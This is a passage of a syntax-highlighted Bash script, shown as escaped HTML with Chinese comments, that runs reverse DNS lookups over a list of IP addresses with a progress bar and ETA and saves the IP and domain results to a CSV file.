&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;TOTAL &lt;span class="o"&gt;-&lt;/span&gt; COUNT&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;ESTIMATED_REMAINING_SEC&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;AVG_TIME_PER_REC &lt;span class="o"&gt;*&lt;/span&gt; REMAINING&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;MINS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SECS_REMAINING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;ESTIMATED_REMAINING_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算进度百分比&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PERCENT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;COUNT &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; TOTAL&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建简洁的当前查询显示&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="m"&gt;25&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;display_query&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;22&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建进度条&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;50&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt; -lt &lt;span class="k"&gt;$((&lt;/span&gt;PERCENT &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;bar&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 显示进度信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;进度: [%-50s] %3d%% | %d/%d | 时间: %02d:%02d | ETA: %02d:%02d | 当前: %s\r&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$bar&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$PERCENT&lt;/span&gt; &lt;span class="nv"&gt;$COUNT&lt;/span&gt; &lt;span class="nv"&gt;$TOTAL&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;ELAPSED_SEC &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$MINS_REMAINING&lt;/span&gt; &lt;span class="nv"&gt;$SECS_REMAINING&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$display_query&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 执行反向DNS查询&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;host &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 处理结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; *&lt;span class="s2"&gt;&amp;#34;domain name pointer&amp;#34;&lt;/span&gt;* &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;FOUND++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 提取域名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -oP &lt;span class="s1"&gt;&amp;#39;domain name pointer \K[^.]+(\.[^.]+)+&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; head -1&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 1. 输出原始格式结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 2. 保存结果用于表格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 3. 添加到CSV文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CSV_OUTPUT&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清除进度行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算总耗时&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;END_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%s&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TOTAL_TIME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;END_TIME &lt;span class="o"&gt;-&lt;/span&gt; START_TIME&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 显示表格总结&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -s &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描结果汇总 (反向DNS记录)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;=============================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 确保表格对齐&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;IP地址&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;域名&amp;#34; 标题长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 读取结果计算最大长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;, &lt;span class="nb"&gt;read&lt;/span&gt; -r ip domain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;145&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;146&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;147&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;148&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;149&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; -gt &lt;span class="nv"&gt;$max_domain_len&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;150&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;151&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$RESULT_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 添加边距&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_ip_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_domain_len &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_ip_len&lt;/span&gt; -lt &lt;span class="m"&gt;15&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_ip_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;15&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$max_domain_len&lt;/span&gt; -lt &lt;span class="m"&gt;20&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;max_domain_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;20&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 创建表格顶部&lt;/span&gt;
